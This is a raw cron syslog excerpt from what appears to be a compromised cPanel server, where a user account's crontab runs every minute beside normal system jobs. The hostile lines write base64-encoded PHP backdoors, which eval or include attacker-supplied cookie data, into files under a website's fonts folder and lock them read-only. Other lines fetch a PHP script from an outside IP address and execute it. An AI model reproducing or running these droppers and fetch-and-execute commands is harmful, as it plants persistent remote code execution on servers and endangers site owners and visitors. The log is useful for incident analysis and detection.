Sep  7 19:07:01 ip-184-168-122-23 CROND[4310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:07:01 ip-184-168-122-23 CROND[4309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:08:01 ip-184-168-122-23 CROND[4406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:08:01 ip-184-168-122-23 CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:08:01 ip-184-168-122-23 CROND[4408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:08:01 ip-184-168-122-23 CROND[4409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:08:01 ip-184-168-122-23 CROND[4411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:09:01 ip-184-168-122-23 CROND[4504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:09:01 ip-184-168-122-23 CROND[4505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:09:01 ip-184-168-122-23 CROND[4507]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 19:09:01 ip-184-168-122-23 CROND[4506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:09:01 ip-184-168-122-23 CROND[4509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:10:01 ip-184-168-122-23 CROND[4621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:10:01 ip-184-168-122-23 CROND[4626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:10:01 ip-184-168-122-23 CROND[4628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:11:01 ip-184-168-122-23 CROND[4810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:11:01 ip-184-168-122-23 CROND[4812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:11:01 ip-184-168-122-23 CROND[4814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:11:01 ip-184-168-122-23 CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:12:01 ip-184-168-122-23 CROND[4911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:12:01 ip-184-168-122-23 CROND[4915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:12:01 ip-184-168-122-23 CROND[4914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:12:01 ip-184-168-122-23 CROND[4916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:12:01 ip-184-168-122-23 CROND[4913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:13:01 ip-184-168-122-23 CROND[5001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:13:01 ip-184-168-122-23 CROND[5002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:13:01 ip-184-168-122-23 CROND[5004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:13:01 ip-184-168-122-23 CROND[5003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:14:01 ip-184-168-122-23 CROND[5087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:14:01 ip-184-168-122-23 CROND[5090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:14:01 ip-184-168-122-23 CROND[5088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:14:01 ip-184-168-122-23 CROND[5091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:14:01 ip-184-168-122-23 CROND[5089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:15:01 ip-184-168-122-23 CROND[5191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:15:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:15:01 ip-184-168-122-23 CROND[5195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:15:01 ip-184-168-122-23 CROND[5197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:15:01 ip-184-168-122-23 CROND[5194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:15:01 ip-184-168-122-23 CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:16:01 ip-184-168-122-23 CROND[5286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:16:01 ip-184-168-122-23 CROND[5289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:16:01 ip-184-168-122-23 CROND[5288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:16:01 ip-184-168-122-23 CROND[5290]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:16:01 ip-184-168-122-23 CROND[5291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:16:01 ip-184-168-122-23 CROND[5292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:17:01 ip-184-168-122-23 CROND[5463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:17:01 ip-184-168-122-23 CROND[5464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:17:01 ip-184-168-122-23 CROND[5465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:17:01 ip-184-168-122-23 CROND[5466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:18:01 ip-184-168-122-23 CROND[5562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:18:01 ip-184-168-122-23 CROND[5564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:18:01 ip-184-168-122-23 CROND[5563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:18:01 ip-184-168-122-23 CROND[5566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:18:01 ip-184-168-122-23 CROND[5565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:19:01 ip-184-168-122-23 CROND[5667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:19:01 ip-184-168-122-23 CROND[5668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:19:01 ip-184-168-122-23 CROND[5671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:19:01 ip-184-168-122-23 CROND[5675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
